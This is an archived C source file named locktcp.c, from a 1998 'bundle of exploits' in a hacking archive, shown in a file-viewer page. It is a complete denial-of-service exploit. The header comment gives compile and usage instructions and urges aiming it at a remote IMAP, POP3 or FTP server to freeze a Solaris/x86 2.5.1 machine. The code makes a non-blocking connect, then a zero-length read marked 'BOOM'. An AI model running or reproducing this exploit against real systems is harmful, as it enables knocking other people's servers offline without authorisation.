home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / locktcp.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  89 lines

  1. /*
  2.  * The folowing is rather ripped from Pine 3.95, and condensed.
  3.  * It should easily freeze a Solaris/x86 2.5.1 system, though may have to
  4.  * be run more than once to produce the problem.
  5.  *
  6.  * Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
  7.  *
  8.  * Throw this at your favorite dotted decimal IP and port of some server
  9.  * (not on the local host) that throws up a banner message. i.e. IMAP,
  10.  * POP3, FTP, etc.  The program doesn't seem to hang the system on
  11.  * services that don't throw a banner (like HTTP).
  12.  *
  13.  * Usage: locktcp ip-addr port
  14.  */
  15.  
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <netdb.h>
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <fcntl.h>
  23. #include <errno.h>
  24.  
  25. int main(int argc, char **argv) {
  26.   int i,sock,flgs;
  27.   char *s;
  28.   struct sockaddr_in sin;
  29.   fd_set fds;
  30.   char tmp[4096];
  31.   char *host;
  32.   long port;
  33.  
  34.   if (argc != 3) {
  35.     fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
  36.     return 1;
  37.   }
  38.   host = argv[1];
  39.   port = atol(argv[2]);
  40.  
  41. /**** Set up address and open socket ****/
  42.   sin.sin_port = htons (port);
  43.   sin.sin_addr.s_addr = inet_addr (host);
  44.   sin.sin_family = AF_INET;    /* family is always Internet */
  45.   if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0) {
  46.     fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
  47.     return 0;
  48.   }
  49.  
  50. /**** Set to non-blocking ****/
  51.   flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
  52.   fcntl (sock,F_SETFL,flgs | O_NDELAY);
  53.  
  54. /**** Connect to host ****/
  55.   while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
  56.      errno == EINTR);
  57.   if (i < 0) switch (errno) {    /* failed? */
  58.   case EINPROGRESS:
  59.   case EISCONN:
  60.   case EADDRINUSE:
  61.     break;            /* well, not really, it was interrupted */
  62.   default:
  63.     fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
  64.          strerror (errno));
  65.     close (sock);        /* flush socket */
  66.     return 0;
  67.   }
  68.  
  69. /**** Do blocking select on nonblocking socket ****/
  70.   FD_ZERO (&fds);        /* initialize selection vector */
  71.   FD_SET (sock,&fds);        /* block for writeable */
  72.   while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
  73.      (errno == EINTR));
  74.  
  75. /**** Set back to blocking socket ****/
  76.   if (i > 0) {            /* success, make sure really connected */
  77.     fcntl (sock,F_SETFL,flgs);    /* restore blocking status */
  78.                 /* get socket status */
  79.     while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
  80.     if (!i) i = 1;        /* make success if the read is OK */
  81.   }    
  82.   if (i <= 0) {            /* timeout or error? */
  83.     fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
  84.          strerror (i ? errno : ETIMEDOUT));
  85.     close (sock);        /* flush socket */
  86.   }
  87.   return 0;
  88. }
  89.